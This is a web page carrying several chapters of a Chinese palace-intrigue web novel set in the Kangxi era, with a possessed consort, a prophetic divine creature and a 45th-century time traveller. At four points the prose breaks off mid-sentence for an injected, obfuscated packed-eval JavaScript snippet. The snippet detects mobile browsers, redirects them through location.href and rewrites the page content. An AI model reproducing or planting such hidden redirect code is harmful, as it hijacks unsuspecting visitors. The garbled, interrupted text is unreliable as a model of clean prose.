李佳氏此时却露出明显的不安,神色慌张地看着乌拉那拉氏:“姐姐……你……你不会是要……” “难道你不想大格格出嫁前多读些书、多懂些管家的手段?” 乌拉那拉氏反问。 李佳氏顿时无言以对。 见李佳氏低头,乌拉那拉氏随即理所应当地对年世华道:“妹妹才华横溢又与大格格年龄相仿,由你负责教导大格格,不仅大格格会觉得亲切,爷那边也会倍感满意。” “妹妹谨遵姐姐教诲。” 武曌当场接下乌拉那拉氏给的差事。 李佳氏见木已成舟,无可奈何地笑了笑,对年世华道:“妹妹,辛苦你了。” “能为爷分忧,是雍王府每个女人的荣幸。” 武曌滴水不漏地回应着。 李佳氏闻言,又气又恨地看了眼乌拉那拉氏,最终还是努力挤出笑容,惨淡道:“妹妹身体不适,可否先行告退。” “身体不舒服就好好养着。” 乌拉那拉氏笑容大度,心中所想却是—— [李佳氏,当初在阿哥所的时候,你仗着年轻漂亮,每逢爷来我这过夜就闹心悸、闹头痛,想方设法地把四爷从我身边带走。如今府里来了更加年轻漂亮还有才学有家世的年氏,我终于能让你也尝尝自己的东西被别人拿走的痛苦了!] …… 李佳氏回到自己的院落,看到儿子弘时捧着一卷书背得眉头紧皱,顿时又心疼又紧张:“又被你阿玛责罚了?” “阿玛没有责罚我,先生也没有刁难我,是我自己想尽快背下一整卷的书,好让阿玛和先生还有嫡福晋他们都满意。” 弘时可怜兮兮地看着母亲:“虽然侧福晋跟我说不要把自己逼得太紧,可只要想到我已经不是雍亲王府唯一的阿哥,想到额涅对我的希望,我就——” “弘时,是额涅……可是额涅也没有办法,你可知道方才在嫡福晋那边额涅险些受了屈辱?” “啊?” 弘时闻言,露出又惊又恐的神情:“发生什么事情?” “永和宫传来消息,皇上听说雍亲王府大格格已满十六岁,要给她封郡主选额驸,这原本是一件大好事,但是嫡福晋她……她说我是个粗俗人不懂礼仪休养,让大格格暂且搬去年氏处小住,跟随年氏学习诗书礼乐还有管家理财的本事……” 说到这里,李佳氏叹了口气:“要说嫡福晋这话却也没大错,比起年氏,我确实算不得是个有才学的女子,可大格格终究是我的骨肉,她身为嫡母,若是觉得我不会教养孩子大可前些年就将大格格要到她的院子亲自教导,哪有……哪有……都快赐婚了才……” “额涅的意思是——” 弘时听得云里雾里。 李佳氏此时心情逐渐平复,擦了擦眼泪,道:“没什么,就是心里有些不舒服……想到马上要送你姐姐出格……心里难受……还好你是阿哥,长大以后也会一直留在额涅身边……” 说到这里,李佳氏已经泪如雨下。 弘时被母亲的眼泪吓坏,僵在原地,不知所措。 …… …… 晌午时分,大格格赛宝在弟弟弘时的陪同下随嬷嬷走进年世华居住的小院。 此时武曌刚喝完苦药,嘴里含着一块雪花洋糖,见赛宝、弘时一同到来,于是将盘子里余下的雪花洋糖分给两个孩子:“糖不能多吃,但偶尔吃一块也是无伤大雅。” “谢庶母赏赐。” 赛宝和弘时接过雪花洋糖,放入口中,沁人心脾的甜味瞬间滋润咽喉。 随后,武曌让两人坐下,笑容可掬:“是姐姐让你们过来的?” “额涅让我在出嫁前跟随庶母学习读书写字和管家理财,免得将来做别人的嫡妻时被婆家暗地笑话、遭刁奴恶意欺瞒。” 赛宝虽已十六岁,却还是天真烂漫的性情,不仅对雍亲王府以外的世界一无所知,对徘徊在雍亲王府上空的算 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13232781|135102||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 计气息也是茫然不知。 “待字闺中和为人媳妇确实大不相同,即便是我,许多事情也是嫁入雍亲王府后才逐渐学会懂得的。” 武曌真假参半地告诫赛宝。 赛宝闻言,看与自己年龄相仿的年世华的眼神更多了几分亲切。 弘时则一如既往地用崇拜的眼光看着年世华,看着这个心中的完美母亲。 【可怜的弘时,他正疯狂地迷恋你,把你当成比李佳氏这个真正的母亲更像母亲的人,为了得到你的嘉奖而绞尽脑汁。】 凤龙将弘时的复杂心境收入眼底,兴致盎然地发出点评。 [那只是因为他得不到——人总会对自己费尽心机都无法得到的东西产生疯狂的迷恋,对自己轻易拥有的东西嗤之以鼻。] 武曌并不认为弘时值得同情或是可怜,她甚至觉得弘时嫌弃李佳氏迷恋年世华的行为让人恶心。 [在我看来,任何人都可以因为自己的理由嫌弃或憎恨李佳氏,唯独弘时没有资格——李佳氏即便再粗俗无知,她也生下来他,献出自己所有的乳汁让他健康长大。他不该嫌弃她,更不该因此理直气壮地幻想让年世华做自己的母亲。] 【我以为你会很高兴弘时喜欢你胜过喜欢生母李佳氏。】 凤龙困惑。 武曌回答道—— [为弘时喜欢我胜过喜欢李佳氏高兴,并不代表我就不能觉得弘时嫌弃李佳氏是一件让人恶心的事情,为前者感到高兴是出于理性的利益考虑,恶心后者则是因为我还是个女人以及母亲。] 【——好复杂。】 凤龙越听越迷糊,大眼睛骨碌碌转动。 武曌见状,便不再多作解释,笑容可掬地给赛宝安排功课、给弘时指导几何。 …… 晚上,胤禛来到年世华处,看到赛宝郎朗有声地背诵课文,不觉露出笑容,道:“果然,娶妻当娶贤,有才学的妻子才能教养出德才兼备的孩子。” “爷太夸奖奴才了,奴才只是比寻常女子多读了几本书,江南那些刊印诗册的女诗人们才是真正的才女。” 对此,胤禛不屑一顾:“她们算什么才女?成天在闺房和院子里悲春伤秋,写些咬文嚼字、多情自怨的诗句,连管家理财都不懂,更不必说上书朝廷提出有用的建议。” “可是女子本来就不能给朝廷上书——” 武曌旁敲侧击。 胤禛闻言,先是一愣,随后垂眸,道:“天色不早,大格格该回房休息了。” “阿玛,孩儿——” “让你回房睡觉就回房睡觉!” 胤禛不耐烦地催促道。 赛宝无奈,放下手中书卷,行礼退下。 赛宝走后,胤禛示意年世华坐到自己身边,伸手揽住她的肩膀,略带几分苦涩地说道:“我们都被骗了!” “爷——” 武曌配合着露出惊讶:“发生什么事?难道是穆先生他——” “他是个骗子!” 胤禛恶狠狠道:“穆景远这家伙骗了我们所有人!” 44.时空偷渡客 “穆先生做了什么?” 武曌早通过凤龙确定穆景远真正的效忠对象是他远在西洋的祖国,闻言却配合着露出惊讶神情:“他背叛了爷?” “他不仅背叛我,也背叛了老九。不,他从始至终都没有向我们中的任何一人献出忠诚!这个卑鄙无耻的西洋传教士竟敢以我、老八、老九为踏板,踩着我们换取进紫禁城见皇阿玛的机会!” 胤禛面露愤恨之色。 “爷,消消气……不要为这种无耻小人气坏身体……” 武曌继续扮演解语花的身份,让奴婢端上安神茶,并暗示凤龙施展手段让胤禛放松心情,袒露更多内情。 【没问题~】 凤龙满口答应。 胤禛喝了口安神茶,心情逐渐舒缓,靠在女人柔软的怀抱中,将信息娓娓道来:“我让李卫带人跟踪调查穆景远,发现他到广州十三行后先是和西洋英吉利人谈妥火炮生意,之后登上西班牙人的商船……李卫的人没能混上西班牙人的船,所以不知道他们在船上都聊了些什么,但直到下船的时候,双方都笑得很开心,显然是谈妥了交易……但是……” “但是什么?” “据皇阿玛从西洋得到的消息,西班牙上代国王卡洛斯二世来自哈布斯堡家族,是个无法生育的废人,因为没有后代,西班牙王位被和西班牙王室有姻亲关系的法兰西波旁家族的安茹公爵腓力继承,称为腓力五世。然而,除了法兰西波旁家族外,神圣罗马帝国的哈布斯堡家族等也声称有权继承西班牙王位,对法兰西的侵占行为表达强烈不满,英吉利、荷兰等国家则因为本就与法兰西存在仇恨,借此机会向法兰西宣战……所以……” “所以如今的英吉利和法兰西、西班牙都有仇?” “英吉利和法兰西有至少百年的仇怨,西班牙和英吉利因为大航海产生仇恨……这种仇深似海的环境下,穆景远竟然一边和英吉利人做火炮生意一边登上西班牙人的船……可见是个城府极深的家伙……” 在凤龙的力量影响下,胤禛不知不觉中说出了已知的全部信息。 “……更让我气愤的是,穆景远回到京城以后既没有回雍亲王府向我销假,也没有去对面的九贝子府向老九邀功,而是通过其他西洋传教士的关系直接进了紫禁城!向皇阿玛邀功请赏……我不知道他在皇阿玛面前都说了些什么,但很明显,皇阿玛对他非常满意,赏赐腰牌,允许他自由出入紫禁城……这个混蛋!这个欺世盗名的无耻之徒!” “那穆景远现在人在哪里?” 武曌不动声色地盘问。 胤禛叹了口气,道:“现在还在紫禁城内和皇阿玛促膝长谈。” “啊?” “所以你现在明白我的愤怒了?” 胤禛苦笑着,伸手轻抚女人的面容:“他是个不值得信任的家伙,没有半点忠诚可言,但我依然必须留着他,因为我想知道他为何向英吉利人购买火炮、想知道他和西班牙人秘密达成了什么协议,想通过他在皇阿玛跟前得到更多的信任和在意……” “爷,您过得太辛苦了。” “也就是你知道体谅我的辛苦……王府里的人……尤其以戴铎为首的那群幕僚……每天挖空心思撺掇我争取皇位,好混个从龙之功……他们只知道我在皇阿玛跟前是地位仅次于太子的得宠阿哥,认为只要我伸手争取,皇位就会落到我手中……却不知皇家的感情——不论是兄弟情还是父子情或是母子情,只要涉及到皇位,必然充满算计和苦闷……” “爷,需要再喝一碗安神汤吗?” “不需要……暂时不需要……” 胤禛垂眸,似睡非睡地喃语道:“身在皇家如逆水行舟,不是不争就一定会有好结果……虽然争了也不一定会有好结果……但总好过不争不抢最终任人宰割……我也曾经想过潜心礼佛做个闲散王爷,如果没有胤礽那一脚的话……” “爷,您累了,早些休息吧。” “嗯。” 胤禛含糊地哼了一声,在年世华和奴婢们的伺候下宽衣睡下。 武曌看着胤禛在睡梦中依然紧皱的眉头,唇角泛起微妙的笑容。 …… …… 时间很快来到正月底,北京城依然冬意浓重。 担心年氏无法再康熙五十一年十月生下决定皇位归属的五阿哥的乌拉那拉氏抱着暖手筒裹着裘衣坐在屋檐下,面前站着镶白旗佐领新选送入府的十多名年轻女子。 “抬起头来。” 四福晋发话。 年龄在十二到十六岁之间的女孩们怯生生地抬头,稚气未脱的脸蛋在臃肿冬衣的衬托下更显得小得可怜。 嬷嬷见状,有些于心不忍,低声提醒道:“主子,咱们这次选的是伺候四爷的使女,年纪太小,恐怕爷没兴趣。” “这点我也早就想到。” 四福晋挥手,让嬷嬷将年龄小于十五岁的女孩全数带下,又将留下的几人仔细相看一番,最终只选中两人,一人是镶白旗汉军旗,姓张,一人则是康熙四十五年由皇太后直接赐给四阿哥的镶白旗满军旗佐领监生常安之女的堂妹伊氏。 皇太后赐下的常安之女命薄,入府不过半年便已薨逝,因此,请示过雍亲王本人后,四福晋直接给既是满军旗出身又是常安家近亲的伊氏以格格名分,同日入府的张氏却只是使女。 …… 伊格格是个通情懂礼的女子,一入府就得到格格名分的她不仅当场向嫡福晋叩拜谢恩,随后又依次拜见府里的另两位侧福晋。 对待同为格格的钮祜禄氏、耿佳氏包括已经失宠多年的宋佳氏,她也没有丝毫怠慢,拜会时态度极尽谦逊,恨不得低到尘土里。 见新入府的伊格格如此懂事,乌拉那拉氏大为欣慰,年世华笑容温婉和睦。逐渐接受失宠现实的李佳氏心中虽有不满却也无可奈何。 钮祜禄氏、耿佳氏本就不得宠,如 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13245901|135102||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 今又各自生下孩子,自然不会和新入府的还不知道前途如何的伊格格争朝夕长短,早已习惯了寒窗冷月的宋佳氏更是—— 看着年轻又活力充沛的伊格格,仿佛看到了自己的昨天。 反观伊格格这边—— 繁琐冗长充满敷衍讨好的拜会终于结束,伊格格拖着疲倦的身体回到住处,换下衣裳,退了奴婢,关上房门,躺在床上,本该疲惫睡去的脸上却露出兴奋的笑容。 [终于……终于成功……成功来到九龙夺嫡的中后期……这雕花……这工艺……] 女人得意地笑着,抱着瓷枕在雕花木床上打滚。 [……虽然这个时间点的雍正已经有点老,和他在一起有种老牛吃嫩草的不爽感,好在我在这个世界的身体也不是我真正的身体,希望这次收集到的资料能让我完成毕业论文,拿到学位证书。] 是的,伊格格真正的身份是一名生活在四十五世纪的历史考古专业本硕博连读生,为了完成博士论文选题申请乘坐时空穿梭机来到近两千八百年前的清朝,附在真正的伊格格的身上。 对于从小被各类AI机器生命体包围的她而言,十八世纪初的世界是那么的原始落后,唯一可以称道的恐怕只有纯手工—— 要知道,在百分之九十九的生产工作都被交给AI机器生命体的四十五世纪,纯人类手工制品是最顶级的奢侈,以至于奸商时常雇佣工程师制作出错程序让AI机器生产出不完美的产品冒充纯人类手工制品。 [回去以后,我要找人合作,开发跨时空物质传送机器,把古代人制作的纯手工品带回四十五世纪售卖!绝对的暴利!] 伊格格抱怨地想着。 “我觉得我应该开发一个传送程序,把古代世界的纯手工制品带回四十五世纪倒卖!” 原来,为防止乘坐时空穿梭机回到古代的人改变历史,所有获得时空穿越批准的人都只能将自己的意识传送回特定的时空,附着在特定磁场的身体上,并且——穿越者在古代的一举一动都受到严格监控,一旦他/她在古代做出违规行为,他/她留在未来的身体就可能被惩罚性销毁,滞留在古代的意识也将永远不能返回。 伊格格临出发前学过时空穿梭管理条例,知道违背管理条例的代价,因此,即便眼前所见的每一件东西如果能想办法带回四十五世纪都能赚到无法想象的巨额利润,她依然必须忍住欲望,严格遵循时空穿梭管理条例的规定框架。 “到底哪个混蛋制定了时空穿梭管理条例!要是有机会穿越到时空穿梭机发明的时代,就算留在未来的身体因此被销毁,我也要杀了定制管理条例的家伙,为未来谋福利!” 骂骂咧咧着,伊格格闭上眼睛。 同一时间,准备前往紫禁城和康熙见面的凤龙睁开金色的眼睛。 【有东西偷渡到了这个世界……不过这家伙……这家伙的想法很有趣……暂时先……让我观察……观察……】 45.凤龙的忽悠术 正月已经结束,盛世祥瑞却没有应约出现,康熙心中不免惆怅,处理国事时显得格外烦躁,失去了往日的宽厚从容。 “皇上,您近来似乎心情不好?可是奴才们做了让您老人家不开心的事情?” “没有……你们最近都很好……朕不开心是因为朕……朕心里不舒服,朕为大清江山的未来感到烦恼痛苦。” [除夕那日祂说会在一个月后和朕再次见面,如今一个月期限已到,为何祂——难道朕并非上天认可的盛世明君?] 康熙起身,下意识摸了摸腰上那装满金瓜子金花生的锦缎荷袋,随后径直走出养心殿。 “——快!快跟上!” 皇帝突然外出,侍奉养心殿的宫女太监等无不亦步亦趋跟在后面,御前侍卫们也都屏息凝神地跟随。 康熙对众人的跟随视为不见,一路快步行走来到御花园,突然看到树皮如龙鳞般龟裂暴起的松柏树旁坐着个一脸悠闲翘起二郎腿的家伙,面容明媚不可方物,眼神天真无邪,如玉石般白皙的手抓着一根不知从哪里得来的凤钗,像贪嘴顽童吃麦芽糖一样对着钗上的凤凰翅膀又舔又咬,发出“吱嘎吱嘎”的清脆咀嚼。 [你——] 康熙心中狂喜,朝着松柏树走去。 宫女太监们试图跟随,却被康熙勒令留在原处。 “朕想一个人静静!” “嗻——” 众人停住脚步,弓腰谦逊,不敢轻易抬头。 另一边—— 【我原本打算吃完去养心殿找你,没想到你先过来了。】 凤龙大喇喇起身,露出顽童被抓到犯错的狡黠笑容,随后手指用力一捏,将早被啃得残破不堪只剩半截的金丝凤凰捏成拇指大小的一团塞入口中。 【我……我吃完啦!】 [你还没有成年,对吗?] 康熙宠溺地看着这张美丽到妖冶但又始终洋溢着孩童的天真纯粹的完美面容,解下装满金瓜子、金花生的荷袋。 [这些是朕为你准备的一些小零食。] 【……是我喜欢的味道。】 凤龙欣喜,理所当然地接过康熙递来的荷袋,抓起一把金瓜子就往嘴里扔。 【上次见面的时候,我对你撒了一些谎,我……我确实还是个幼崽,但就算还是个幼崽,我活过的时间也是你们人类的百倍甚至千倍……你们人类总说‘万岁万岁万万岁’,可对我而言,人类的万年不过是一瞬间,甚至不够长大……】 [如此说来,你已活了至少万年时光?] 康熙兴致盎然地看着凤龙。 祂的天真和美丽以及祂所象征的盛世繁华都让他沉醉,无法移开眼睛。 【如果算上转生以前的我,我在世间的时光何止万年……当然,这些东西……你们人类是无法理解的……】 凤龙狡黠一笑,反问康熙。 【你看起来似乎很烦恼?非常急于见到我?】 [是。] 【为什么?因为继承人的事情迟迟没有定论?因为西方传教士带来的信息让你担忧大清的未来?】 [你居然全部都知道——] 康熙倒吸一口凉气,越发确定眼前这个既天真又神秘的存在是真正的盛世祥瑞。 【我当然什么都知道,我生来就拥有世间一切知识……虽然我的身体和心智都还是孩子。】 说到这里,凤龙目光轻微移动,落在康熙的心口处。 【你正在计划二次废太子?】 [你——] 【你的心告诉我,你深爱着你的太子,把他视为所有儿子中最重要的那个,但你也始终无情地怀疑他,认为他不配成为太子,在你百年之后执掌大清江山。】 [……是。] 因为对方是只有自己能看到的盛世祥瑞,与祂的对话又在脑海中进行,康熙坦然承认自己的真实想法。 [胤礽是朕最在意的儿子,从他出生那天开始,朕就把他视为珍宝,将朕能提供的一切都给了他,可惜他……他没有按照朕的期望长大……朕对他越好,他就越忤逆,变着法子和朕作对!他知道朕在乎他,不会惩罚他……可惜朕并非只是一个父亲,朕还是大清的皇帝,他也不只是朕的儿子,他是大清的太子!父亲可以原谅最爱的儿子的一切错误,皇帝却不能无底线宽恕一个忤逆不孝的太子!] 【那你有没有想过他为何如此忤逆不孝?你把最好的一切都给了他,他却——】 [朕对他太好,他恃宠而骄了。] 康熙不愿承认胤礽的忤逆不孝源于自己的过分管束和压抑,将一切都归结为“恃宠而骄”。 【其他皇子呢?你有那么多儿子,难道挑不出比胤礽更优秀更适合做储君的?】 [这个……] 康熙眯眼,锐利地看着凤龙。 因为这句话,君王多疑的本能再度发作,他开始怀疑眼前的盛世祥瑞是他那个为了储君之位不惜收买满圈朝臣同时也结交三教九流的好儿子胤禩重金聘请奇人异士为他精心制造的幻觉。 [朕的众多儿子中确实有好几个的才学都不在太子之下,但他们同样不具备成为皇帝的资质……做皇帝最重要的不是才学,是驾驭!驾驭天下、控制人心的能力!以及天命的认可!尤其是老八!老八他目光短浅,只会用钱财收买人心……这样的人……根本不配成为大清皇帝!] 【我也觉得胤禩没有成为皇帝的资质。】 凤龙深以为然地点点头。 康熙错愕,随即为方才对盛世祥瑞的怀疑感到惭愧。 [原来你……] 【你以为我是你的某个儿子为劝你立他为太子制作的幻术假相?】 [……] 【身为皇帝难免多疑,这不是你的错,何况我的到来也确实……即便如此,我也愿意留给你一些预告,关于未来和过去的启迪……】 [说——] 【你的儿子们大多已经长大成人并且有了自己的孩子,所以,选择储君时不仅要考察儿子的品行,也要将对皇孙的考量加入进去……我看到的未来告诉我,你即将第二次废太子,而在废太子那个月出生的皇孙将是真正的大清皇帝……】 话音落,凤龙消失不见。 康熙立在原处,回味祥瑞留给 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13266452|135102||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 他的启迪。 [第二次废太子……朕确实有二废太子的打算……如今的胤礽已经没有了君主应有的锐气,即便继位皇帝也只会被满汉朝臣玩弄摆布……朕用五十几年时间好不容易聚拢到手的权力再次出现削弱分离……但是废太子当月出生的皇孙将会继承大清江山……这句话究竟什么意思?难道祂已经看到废太子的时间,也看到了皇孙的出生以及……] 不知不觉间,康熙握紧拳头。 祥瑞留给他的只言片语让他困惑,同时又感到强烈的振奋。 未来…… 大清真正的皇帝…… …… …… 凤龙一路吃着康熙给的金瓜子回到雍亲王府,恰逢前几日新入府的伊格格来年氏处请安攀谈,于是抓着将还未吃完的金瓜子金花生,绕到武曌身后。 【这个伊格格身上有不寻常的东西,建议姐姐对她多加留意。】 [哦?她身上也有系统?] 武曌兴致盎然。 凤龙摇摇头。 【她身上的东西不是系统,但对这个世界的人而言,那东西的特异处和系统也差不太多~】 [是什么?] 【不太好确定,等我多多观察一番。】 说完,凤龙在武曌身后找了个舒服的位置坐下,继续吃康熙给的金花生。 伊格格自然不知道这些内容。 灵魂来自四十五世纪的她兴致勃勃地观察着年世华。 [这就是雍正生命中最重要的三个女人之一的年氏?看起来有些柔弱,但是她的眼神充满智慧,难怪雍正会如此喜欢她,刚登基就给了皇贵妃的名分,元后薨逝后又将她晋为皇后,立他们生下的孩子做储君……但是……] 不知为何,每当和年世华目光有所交接时,伊格格心中总会泛起一阵寒意,仿佛被这个活在十八世纪初的女人看穿了灵魂。 她…… 她能看清我的心…… 还是说—— “……雍亲王府后院一贯是姐妹和谐,过去如此,将来也是如此,倘若有大胆刁奴因为妹妹新来乍到就敢倚老卖老给妹妹眼色,嫡福晋和我都绝不轻饶!” 说话间,武曌轻拍伊格格手背,夸赞道:“相面的说,妹妹这个面相是一等一的好生养,想必一定能给爷再添至少一个小阿哥。” “姐姐,我……我哪里……” 伊格格心慌。 要知道,在四十五世纪的人眼中,十八世纪的医疗水平落后得堪比原始社会! 要是她在这个时代的身体真有易孕体质,岂不等于—— 不要啊! 我不要在十八世纪的野蛮社会以原始人的姿态承受生育痛! “妹妹担心不能为爷生下阿哥?” 武曌笑盈盈地看着伊格格。 凤龙力量日益增长,作为盟友的她的读心术也日益精进。 如今的她,即便面前之人心中所想与她毫无关联,她也能听到断断续续的片段。 只是如此一来—— 四十五世纪? 十八世纪的野蛮社会? 46.有意思的家伙 [她在想什么?世纪是什么意思?难道说,她——] 【她不是当下这个时间点的人,她来自两千七百多年后的未来。那个时代的人称呼他们的时代是四十五世纪,称呼现在是十八世纪。】 凤龙兴致盎然地向武曌解释。 【根据我对她连续几日的跟踪探查,已经确定她的灵魂来自四十五世纪,但她的身体属于十八世纪,这点和姐姐很类似。】 [哦?居然有人……不对,她的情况和我还有很大的差别……] 武曌瞬间觉察异常。 [虽然无法听到完整的心声,但凭零碎片段可以确定她不会长久留在这里,她有办法回她口中的四十五世纪。] 【这点……宝宝也已经发现……所以宝宝对她感兴趣,她是个有意思的家伙,如果善加利用……一定会对姐姐有大用处。】 [有意思的家伙……来自两千七百年后的四十五世纪……] 武曌仔细想了一下,意识到眼前的伊格格是一座等待开启的巨型宝库——对从一千八百多年前的大唐来到当前世界的自己而言,这里处处都是惊喜和不寻常,尤其当她看到火药、精铁、白糖以及各类来自异域的高产量的作物如玉米、花生、番薯的时候。 由此可推,两千七百年后的未来必定存在大量超乎当前世界的人的想象的好东西! 哪怕只得到只言片语…… 想到这里,武曌看伊格格的眼神越发亲切,且因为年世华是人尽皆知的温柔性子,被武曌温柔注视的伊格格丝毫没有觉察异常,只觉得年氏不愧是史书有载的贤后,性情温婉可爱,令她心生亲切。 …… 送走伊格格后,凤龙将和康熙在御花园的见面情况向武曌简单说明。 得知康熙一度怀疑凤龙是八阿哥、九阿哥重金聘请的江湖奇人异士制造的假象时,武曌险些笑出声。 [自古帝王多是明知眼前祥瑞是假还自欺欺人地判定祥瑞为真,康熙倒是另辟蹊径,有幸见到真正的祥瑞居然因为儿子们为了皇位争得头破血流无所不用其极而怀疑你是他的儿子们请术士做出的假象。] 【但他最终还是完全信了我,毕竟我是真正的祥瑞。】 凤龙捂嘴坏笑,继续复述两人的对话内容。 听到凤龙向康熙预言真正有资格君临天下的皇孙将在他下旨二废太子当月出生时,武曌露出担忧神色。 [万一我不能及时怀孕?万一康熙心中早有仅次于胤礽的传位对象,故意在他心仪的皇子的后院传出有人怀孕的消息后再掐着日子下旨二废太子,以此强行迎合预言?] 【预言之所以是预言,因为不论预言有关的人是否知道预言的内容,也不论他们知道预言内容后做出什么选择,预言的内容最终都会变成现实落在他们身上。】 凤龙理所当然地说着,既神圣又妖冶的面容散发着不属于人世间的强烈魅力。 【康熙当然可以因为想把皇位传给喜欢程度仅次于胤礽的皇子而故意掐着时间下旨二废太子,但我或者说命运会让他明白,他为这件事做出的每个选择都牢牢走在命运的轨道上。】 [——说实话,我有时会对你感到害怕。] 【没关系,我一直都在姐姐身边。】 凤龙羞涩一笑,继续吃康熙给的金瓜子。 …… …… 祥瑞的预言让康熙夜不能寐。 如祥瑞所言,他确实有意二废太子,在选出更合适的继承人后。 但是—— 谁比胤礽更有资格继承大清江山? 老四? 胤禛为人过于严谨不通融,城府也深邃且多疑,这样的性格做摄政辅政可谓上上选,成为皇帝却可能出问题。 何况,胤禛的骑射功夫一塌糊涂! 满人骑射得天下,怎么可以立一个不擅骑射的皇子做皇帝! 至于胤禩—— 单看他为了太子之位不惜各种手段拉拢、收买满汉官员的行为,就不适合成为皇帝! 胤禟等人更不必提。 胤祥…… 胤祥这个孩子…… 康熙叹了口气。 敏妃生前是他喜爱的女人,胤祥自小也一直都是他喜欢的孩子,但和胤禛类似,胤祥的性情与能力都不适合成为大清储君将来继承大统,他只适合做新君的辅政…… 还有胤禵…… 胤禵如今是二十出头的年纪,骑射功夫扎实,平日里的各类课业也都完成得很好,按理说是仅次于胤礽的继承大统的上上选,但是—— 不知为何,康熙总觉得胤禵身上缠绕着让他感觉不适的东西,尤其想到胤禵如今和胤禩、胤禟关系密切时。 “……如果他能断了和胤禩、胤禟的关系,又在军中立下足够的功勋,或许真的可以考虑。” 康熙自言自语地说着,左手食指不停地拨弄右手大拇指上的玉扳指。 祥瑞的预言再次徘徊耳边—— 【继承大清江山并将大清带入盛世巅峰的皇孙将在你正式下诏二废太子的当月出生。】 倘若祥瑞的预言为真,是否意味着哪怕朕现在下诏二废太子,朕的诸多儿子里也会有人在这个月内抱出一个肥肥胖胖的优秀皇孙? 康熙再次陷入迟疑。 他不是一个迷信的人,但在这件事上,他不得不迷信。 毕竟—— 大清江山的未来很可能就是他的一念间。 …… …… 阳春三月,枯树冒出嫩芽,经过一个月的深思熟虑的康熙终于下定了决心。 他将他所有已经成年的儿子们召集起来,询问各自后院的子孙情况。 皇子们其实也都知道皇阿玛是因为至今没法做出决断才二立太子,内心深处并无传位太子胤礽之意,如今皇阿玛亲自询问各家子孙的情况,纷纷将自家儿子中最优秀的几个提出来一通猛夸,什么三岁识字、五岁作诗、过目不忘、天生神力…… 天花乱坠的吹嘘听得康熙眉头紧皱,冷不防看向始终在兄弟间保持沉默的胤禛:“老四,朕记得你膝下如今有了两个儿子。” “回皇阿玛的话,儿子目前有弘时和弘昼两个儿子,弘时今年满九岁,弘昼去年十一月出生。” “才出 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13292337|135102||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 生的孩子自然不必多问,倒是那弘时——学业情况如何?” 康熙眯眼问胤禛。 胤禛苦笑道:“谢皇阿玛关爱,可惜弘时并非可造之材,不论是背书还是骑射或是西洋学问,全都……” “你给弘时请了西洋老师?” 康熙诧异。 胤禛道:“皇阿玛时常教诲我们,西洋人的东西虽是奇淫巧技,却也不能小觑,何况西洋人的几何算数题目确实益智。” “那他学得怎么样?” “学得……” 胤禛羞愧地低下头。 其余阿哥们见状,纷纷向康熙禀告自家跟随西洋传教士学习几何算数的聪慧情况,试图以此获得皇阿玛更多的青睐。 然而—— 因为祥瑞的预言,康熙根本不会考虑从已出生的九十多名皇孙中选择大清继承人,向皇子们询问皇孙的学问情况不过是个幌子,目的是—— “……除去这些已经在玉牒上的,你们后院可还有希望再添新皇孙?” “这——” 阿哥们齐齐哑火。 胤禛却抬起头,道:“回皇阿玛的话,儿子后院年氏前些日子已经确诊有孕。” “哦?什么时候的事?孩子如今几个月了?” 康熙不动声色。 胤禛道:“回皇阿玛,年氏的身孕是上个月底确定的,医生说不出意外的话十月左右能够生育,只是不知生下的是男孩还是女孩。” “年氏出生名门,有大家风范,父兄也是聪慧之人,若是她的孩子,必定不论男女都聪慧胜弘时百倍,老四可以不必再担心继承人的事情了。” 康熙故作淡漠,仿佛谈论的只是雍亲王的爵位继承而非大清江山的未来。 胤禛素来谨慎内敛,听出皇阿玛话中有话,却不敢胡思乱想,闻言,躬身行礼道:“谢皇阿玛吉言,儿子也希望年氏能够为儿子再生一名阿哥。” “自古多子多福,皇家更是如此……只有子孙个个才华出众,大清江山才能长治久安。” 康熙严肃地看着儿子们:“这番话朕是对老四说的,也是对你们所有人说的!朕希望你们能够管住自己,多给朕生一些聪明又健康的皇孙,而不是成天贪多嚼不烂做那腌臜事!” 